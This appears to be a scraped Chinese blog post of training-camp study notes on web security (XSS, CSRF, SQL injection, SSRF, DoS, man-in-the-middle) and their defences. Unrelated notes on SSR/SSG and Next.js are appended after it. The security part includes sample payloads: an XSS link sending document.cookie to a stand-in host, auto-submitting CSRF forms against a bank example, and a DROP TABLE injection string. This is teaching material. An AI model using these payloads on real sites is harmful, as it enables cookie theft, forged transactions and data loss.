字节青训前端笔记 | Web安全

Posted 摸鱼老萌新

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了字节青训前端笔记 | Web安全相关的知识,希望对你有一定的参考价值。

在网络时代下,Web 安全随处可见并且危害极大,Web 安全问题也越来越受到重视。本节课将讲述Web中的攻击和防御

XSS

利用开发者盲目信任客户提交的内容来实现的工具,恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。他的特点是:

  1. 一般来讲它难以从UI上被感知到,即偷偷运行脚本
  2. 他习惯用cookie和token来窃取用户信息
  3. 它可以自身绘制UI节目,诱骗用户点击或者填写表单等

以下是几种XSS攻击的类型:

  • 存储型XSS

它利用接口过滤不严等问题,在提交内容时插入代码,将这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。

例如:你将一段可以获取当前cookie并且发送到黑客服务器的代码存储到博客中,当用户访问你的博客时,就会执行这段代码,你的数据就被盗取了。

  • 反射型XSS

这类攻击需要欺骗用户自己去点击链接才能触发XSS代码,一般容易出现在web 页面。反射型XSS大多数是用来盗取用户的Cookie信息。

比如:如果某个网站的页面用类似这样的结构来渲染数据,注意这个逻辑是由服务器完成的,可能的场景是,你输入一些数据,然后把数据传到服务器,服务器返回给你一个带有 content 参数的界面来渲染你看到的页面

http://www.xxx.com?content='xxxx'
<div> 渲染获取content <div>

如果我们在content的内容里写入一些脚本,那么系统解析的时候就会执行这些脚本,那么如果这个脚本的作用是获取 cookie并且发送到服务器,你的cookie就被获取了:

http://www.xxx.com?content=<script>window.open("www.bbb.com?param="+document.cookie)</script>

如果黑客现在将这个链接发送给你,并且你已经登录了 www.xxx.com 这个网站且已经保存了 cookie,那么当你点开 XSS 攻击的链接的时候,你的cookie就被盗取了

  • DOM型XSS

Dom型xss类似于反射型xss,但是不同点在于DOM 型的 XSS 主要是由客户端的js脚本通过 DOM 动态地输出数据到页面上,比如一个页面的逻辑是这样的,你输入一些数据,然后当你点击页面的时候,通过js获取你输入的数据,然后展示出来:

<div id="xssd_main">
    <script>
        function domxss()
            var str = document.getElementById("text").value;
            document.getElementById("dom").innerhtml = "<a href='"+str+"'>what do you see?</a>";
        
    </script>
    <input id="text" name="text" type="text"  value="" />
    <input id="button" type="button" value="click me!" onclick="domxss()" />
    <div id="dom"></div>
</div>

当你在输入框中输入数据的时候,如果你将恶意代码写入,那么 js 执行操作后,恶意代码就会在前端直接展示并且执行

  • mutation-based XSS

按照浏览器不同的渲染逻辑进行攻击

  • XSS 的防御
  1. XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤 ,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤;然后对动态输出到页面的内容进行 html 编码,转换为 html 实体,使脚本无法在浏览器中执行。

    例如:就是通过函数,将用户的输入的数据进行 html 编码,对可能形成脚本的部分进行转义, 使其不能作为脚本运行。

  2. 我们还可以服务端设置会话 Cookie 的 HTTP Only 属性,这样,客户端的 JS 脚本就不能获取Cookie 信息了。

前端的防御工具:

  1. vue、react 等框架都默认防御
  2. google-closure-library
  3. DOMPurify (Node)完成字符串的转义
  4. 扫描用户输入 html 内容和 svg 图片
  5. 不允许用户自定义跳转
  6. 不允许用户自定义样式,因为 background 属性等可以添加背景图片

CSRF

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。攻击者盗用了你的身份,以你的名义发送恶意请求

  • csrf的攻击方式

要完成一次CSRF攻击,受害者必须依次完成两个步骤:

  1. 登录受信任网站A,并在本地生成Cookie。
  2. 在不登出A的情况下,访问危险网站B。
  • GET型的CSRF

GET类型的CSRF利用非常简单,只需要一个HTTP请求,一般会这样利用

<img src="http://bank.example/withdraw?amount=10000&for=hacker" >

在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。bank.example就会收到包含受害者登录信息的一次跨域请求。

  • POST类型的CSRF

这种类型的CSRF利用起来通常使用的是一个自动提交的表单

 <form action="http://bank.example/withdraw" method=POST>
    <input type="hidden" name="account" value="xiaoming" />
    <input type="hidden" name="amount" value="10000" />
    <input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script> 

访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作

  • 链接类型的CSRF

这种方式需要用户点击链接才会触发。通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击

  • CSRF的特点
  1. 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。

  2. 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。

  3. 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。

  4. 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪

  • 防御措施

CSRF一般发生在第三方网站,而且攻击者只是冒用登录凭证而不是获取登录凭证数据,所以我们制订以下防范策略:

  • 阻止不明外部域名的访问

    • 同源检测

      Cookie同源策略是访问需要域名相同即同源;在HTTP协议中,每个异步请求都会携带两个header,用来标记来源域名。

    • Samesite Cookie

      Cookie的Samesite属性用来限制第三方Cookie, 从而减少安全风险,如果你设置它为StrictLax,基本就能阻止CSRF攻击,前提是浏览器支持SameSite属性。

  • 提交Form表单时,添加本域才能获取的验证信息

    • CSRF token

      我们可以要求所有用户请求都携带一个无法被攻击者劫持的token,Token通过加密算法对数据进行加密,一般Token都包括随机字符串和时间戳的组合,显然在提交时Token不能再放在Cookie中了,否则又会被攻击者冒用。每次请求都携带这个token,服务端通过校验请求是否为正确token,可以防止CSRF攻击。

SQL注入

SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限陷),比如你的一句 SQL语句是这样的:

 select from XXX where id = ?

你传入的 id 参数是如下的语句,前半句语句会被闭合,后半句语句就被执行了

any; DROP TABLE XXX;

除了SQL 注入 还有其他类似的位置也会被注入,比如 CLI,命令行等等

  • 预防sql注入
  1. 过滤输入内容就是在数据提交到数据库之前,就把用户输入中的不合法字符剔除掉。可以使用编程语言提供的处理函数或自己的处理函数来进行过滤,还可以使用正则表达式匹配安全的字符串。
  2. 参数化查询目前被视作是预防 SQL 注入攻击最有效的方法。参数化查询是指在设计与数据库连接并访问数据时,在需要填入数值或数据的地方,使用参数(Parameter)来给值。
  3. 除了开发规范,还需要合适的工具来确保代码的安全。我们应该在开发过程中应对代码进行审查,在测试环节使用工具进行扫描,上线后定期扫描安全漏洞。通过多个环节的检查,一般是可以避免 SQL 注入的

SSRF

SSRF(service side request forgery) 为服务器请求伪造和上文的SQL注入类似,它是一种攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下SSRF的攻击目标是外网无法访问到的内部系统。SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

  • ssrf 的攻击方式

(1)对外网,服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。

(2)攻击运行在内网或本地的应用程序。

(3)对内网web应用进行指纹识别,识别企业内部的资产信息。

(4)攻击内外网的应用程序,主要是使用HTTP GET请求就可以实现的攻击。例如struts2、SQli等。

(5)利用file协议读取本地文件等。

  • ssrf 的例子

我们的后台有这样一句话来执行一个脚本,如果我们在 options 内闭合操作然后传入一个服务器脚本,那么就可以执行你想要的脚本

exec(`convert-cil $video -o $options`)
  • 防御原则
  1. 设定命令的权限,让你的代码不能执行一些高权限的代码,比如删除库等等
  2. 设定一个白名单,只允许指定命令在代码中执行
  3. 对URL的参数类型,协议,域名 、ip等进行限制

DOS

DoS攻击即拒绝服务攻击,使计算机或网络无法提供正常的服务。

  • ReDos

攻击者可构造特殊的字符串,导致正则表达式运行会消耗大量的内存和cpu导致服务器资源被耗尽。正则表达式的实现一般分为2类。Deterministic Finite Automaton (DFA) 和Nondeterministic Finite Automaton (NFA):

NFA:不确定有穷自动机。匹配的路径是不确定的,如果在某一条路径能够完成匹配,则能够及时返回。如果没能匹配上,则会回溯,尝试其他的路径。直到把所有的路径走完。这就是NFA为什么可能会造成redos攻击的原因。

我们避免写出如上这种贪婪匹配的方式来造成可能的ReDos攻击,同时尽量拒绝使用用户使用的正则表达式来避免用户自定义一个可以造成攻击的入口

  • DDOS

分布式拒绝服务(DDoS)攻击是通过大规模互联网流量淹没目标服务器或其周边基础设施,以破坏目标服务器、服务或网络正常流量的恶意行为。DDoS攻击好比高速公路发生交通堵塞,妨碍常规车辆抵达预定目的地。

例如:攻击者构造大量的握手请求,但是不进行第三次握手,导致大量的连接不能被释放,从而使得服务器瘫痪

对于ddos的防御的思路是:

  1. 在负载均衡和api网关对可能的ddos攻击进行过滤
  2. 前置cdn、快速扩容、降低非核心服务的等级等等

中间人攻击

中间人攻击(通常缩写为 MitM 或 MiM)是一种会话劫持网络攻击。 黑客拦截以数字方式共享的信息,通常是作为窃听者或冒充他人。 这种类型的攻击极其危险,因为它可能导致多种风险,例如信息被盗或虚假通信,这些通常很难被发现,因为这种情况对合法用户来说似乎完全正常。

执行中间人攻击需要黑客获得对用户连接的访问权限。 最常见的方法之一是创建一个公共 wifi 热点,附近的任何人都可以加入,黑客可以通过 IP 欺骗或 DNS 欺骗将用户发送到虚假网站而不是他们的预期目的地。用户最终都会进入黑客拥有的虚假网站(他们可以在那里捕获所有信息);黑客可以通过参与 ARP 欺骗来重新路由通信的目的地。 当黑客将他们的 MAC 地址连接到属于参与通信的合法用户之一的 IP 地址时,就会发生这种情况。 一旦他们建立连接,黑客就可以接收任何用于合法用户 IP 地址的数据。

  • 防御策略

使用 https 和 http 3 :他们使用了 TLS 协议进行加密,使用 MAC 验证防止信息被篡改,使用数字签名保证了双方的可信任性

SRI : 对比设定的哈希值和真实的哈希,如果两者不一样说明被篡改了

字节跳动青训营--前端day8

文章目录


前言

仅以此文章记录学习历程。


一、CSR,SSR,SSG

1. CSR

客户端渲染(Client-Side Rendering)。常见B端WEB应用开发模式,前后端分离,服务器压力相对更轻,渲染工作在客户端进行,服务器直接返回不加工的HTML用户在后去访问操作

(不会嵌套后端代码,会直接渲染前端ui)

SPA:单页面应用,他所需要的资源(HTML,CSS,JS),在一次请求中就加载完成,不需要刷新地动态加载,首屏时间更长

2. SSR

服务端渲染(Server-sie Rendering)。不是什么新鲜的概念,从原先的JSP/PHP就已经体现了服务器端渲染。
(会在前端页面当中嵌套后端代码)

同构SSR:
前后端一体化,一套 React 代码在服务器上运行一遍,到达浏览器又运行一遍。前端后端都要参与渲染,而目首次渲染出的 HTML 要一样。

(会嵌套后端代码,但是并不是在一个html文件当中嵌套,而是单独分出来一个文件夹保存后端代码文件)

BFF:Backend For Frontend,服务于前端应用的后端。
(通常来说BFF不会直接操作数据库,而是对后端返回的几个数据进行拼接汇总然后交给前端页面进行模板页面的数据展示前后端的中介

3. SSG

静态站点生成 (Static Site Generation)在构建的时候直接把结果页面输出html到磁盘,每次访问直接把html返回给客户端,相当于一个静态资源

CDN:建立并覆盖在internet 之上,由分布在不同区域的边缘节点服务器群组成的分布式网络,

相比 SSR,因为不需要每次请求都由服务器端处理,所以可以大幅减轻服务器端的压力

缺陷在于只能用于偏静态的页面,无法生成与用户相关的内容,也就是所有的用户访问的页面都是相同的

4. SSR,SSG的优势

利于SEO

浏览器的推广程度,取决于搜索引擎对站点检索的排名,搜索引擎可以理解是一种爬虫,它会爬取指定页面的 HTML,并根据用户输入的关键词对页面内容进行排序检索,最后形成我们看到的结果

更短的首屏时间

SSR / SSG 只需要请求一个 HTML 文件就能展现出页面,虽然在服务器上会调取接口但服务器之间的通信要远比客户端快,甚至是同一台服务器上的本地接口调取。因为不再需要请求大量 js 文件,这就使得SSR / SSG可以拥有更短的首屏时间

二、什么是Next.js

Next.js是一个用于生产环境的 React 应用框架,使用它可以快速上手开发 React 应用。无需配置就可以如服务端渲染 SSR、编译时渲染 SSG,Typescript 语言支持,自动打包,路由愈加载等功能。

三、Next.js客户端开发

demo仓库地址:https://github.com/czm1290433700/ssr-server
CMS 仓库地址: https://github.com/czm1290433700/nextjs-cms
Demo 仓库地址: https://github.com/czm1290433700/nextjs-demo

1. Api

getInitialProps: 在服务器端执行,只能在页面层面进行绑定,采用同构,首次渲染服务器端渲染,路由跳转使用客户端路由(会在客户端执行router跳转逻辑)

getServerSideProps: SSR,与getInitialProps不同的是即使使用roter跳转也只会在服务端执行这部分逻辑

getStaticProps: SSG,在服务器端构建时执行。(如果涉及动态路由(带参数),需要使用getStaticPath配置所有可能的参数情况)

2. CSS Modules

Next.js支持用文件名约定的CSS模块。[name].module.css

3. Layout

通过在入口文件导入Layout,可以实现每个页面公共的页眉页尾

4. 文件式路由

Next.js 有一个基于页面概念的基于文件系统的路由器。当一个文件被添加到 pages目录中时,它会自动作为一个路径可用(说白了就是不需要自己配置路由了)

BFF层的文件式路由:
BFF,作为服务器构建包,不影响客户端构建bundle体积
相同的router生成方式,不过是作为Api层访问而不是page页面

路由跳转:

  • next/link
  • useRouter
  • 原生方法跳转(不支持,不会进行Diff比对渲染,性能上不如上面两个)

四、Next.js服务端开发

和Express等开发类似,区别是没有参数可以直接区别请求的类型

仓库: https://github.com/strapi/strapi
初始化: npx create-strapi-app my-project --quickstart

一个接口的生成有以下几个过程:

  • content-type builder 编辑结构体
  • content manager 配置数据源,并且发布
  • settings roles 里选择对应角色并勾选要发布的接口类型
  • 如果涉及嵌套,在接口后加上 populate=deep 参数(npm install strapi-plugin-populate-deep–save),没安装加参数 populate=* ,但只能嵌套一层

以上是关于字节青训前端笔记 | Web安全的主要内容,如果未能解决你的问题,请参考以下文章

青训营HTML基础 - 语义化标签 - 浏览器渲染过程 - 笔记及拓展

初探前端WEB安全#1

前端安全:如何保障 Web 应用程序的安全性?

字节跳动青训营--前端day8

青训营Node.js基础 - Web应用开发 - 开发调试 - 线上部署

青训营Node.js基础 - Web应用开发 - 开发调试 - 线上部署